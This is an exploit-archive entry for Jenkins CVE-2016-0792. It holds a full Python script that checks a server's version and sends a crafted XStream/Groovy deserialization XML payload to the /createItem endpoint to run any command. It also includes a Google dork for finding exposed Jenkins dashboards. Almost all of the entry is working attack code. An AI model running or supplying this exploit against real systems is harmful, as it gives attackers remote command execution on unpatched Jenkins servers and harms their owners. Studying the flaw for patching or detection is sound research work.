Jenkins < 1.650 - Java Deserialization

Related Vulnerabilities: CVE-2016-0792  
Publish Date: 30 Jul 2017
                							

                import random
import string
from decimal import Decimal

import requests
from requests.exceptions import RequestException

# Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit
# Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins"
# Date: 30-07-2017
# Exploit Author: Janusz Piechówka
# Github: https://github.com/jpiechowka/jenkins-cve-2016-0792
# Vendor Homepage: https://jenkins.io/
# Version: Versions before 1.650 and LTS before 1.642.2
# Tested on: Debian
# CVE : CVE-2016-0792


def prepare_payload(command):
    splitCommand = command.split()
    preparedCommands = ''

    for entry in splitCommand:
        preparedCommands += f'&lt;string&gt;{entry}&lt;/string&gt;'

    xml = f'''
        &lt;map&gt;
          &lt;entry&gt;
            &lt;groovy.util.Expando&gt;
              &lt;expandoProperties&gt;
                &lt;entry&gt;
                  &lt;string&gt;hashCode&lt;/string&gt;
                  &lt;org.codehaus.groovy.runtime.MethodClosure&gt;
                    &lt;delegate class="groovy.util.Expando"/&gt;
                    &lt;owner class="java.lang.ProcessBuilder"&gt;
                      &lt;command&gt;{preparedCommands}&lt;/command&gt;
                    &lt;/owner&gt;
                    &lt;method&gt;start&lt;/method&gt;
                  &lt;/org.codehaus.groovy.runtime.MethodClosure&gt;
                &lt;/entry&gt;
              &lt;/expandoProperties&gt;
            &lt;/groovy.util.Expando&gt;
            &lt;int&gt;1&lt;/int&gt;
          &lt;/entry&gt;
        &lt;/map&gt;'''

    return xml


def exploit(url, command):
    print(f'[*] STARTING')
    try:
        print(f'[+] Trying to exploit Jenkins running at address: {url}')
        # Perform initial URL check to see if server is online and returns correct response code using HEAD request
        headResponse = requests.head(url, timeout=30)
        if headResponse.status_code == requests.codes.ok:
            print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')
            # Check if X-Jenkins header containing version is present then proceed
            jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')
            if jenkinsVersionHeader is not None:
                # Strip version after second dot from header to perform conversion to Decimal
                stripCharacter = "."
                strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])
                # Perform basic version check
                if Decimal(strippedVersion) &lt; 1.650:
                    print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')
                    # Prepare payload
                    payload = prepare_payload(command)
                    # Prepare POST url
                    randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))
                    if url.endswith('/'):
                        postUrl = f'{url}createItem?name={randomJobName}'
                    else:
                        postUrl = f'{url}/createItem?name={randomJobName}'
                    print(f'[+] Will POST to {postUrl}')
                    # Try to execute passed command
                    postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})
                    print(f'[+] Exploit launched ')
                    # 500 response code is ok here
                    print(f'[+] Response code: {postResponse.status_code} ')
                    if postResponse.status_code == 500:
                        print('[+] SUCCESS')
                    else:
                        print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')
                else:
                    print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')
            else:
                print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')
        else:
            print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')
    except RequestException as ex:
        print(f'[-] [ERROR] Request exception: {ex}')
    print('[*] FINISHED')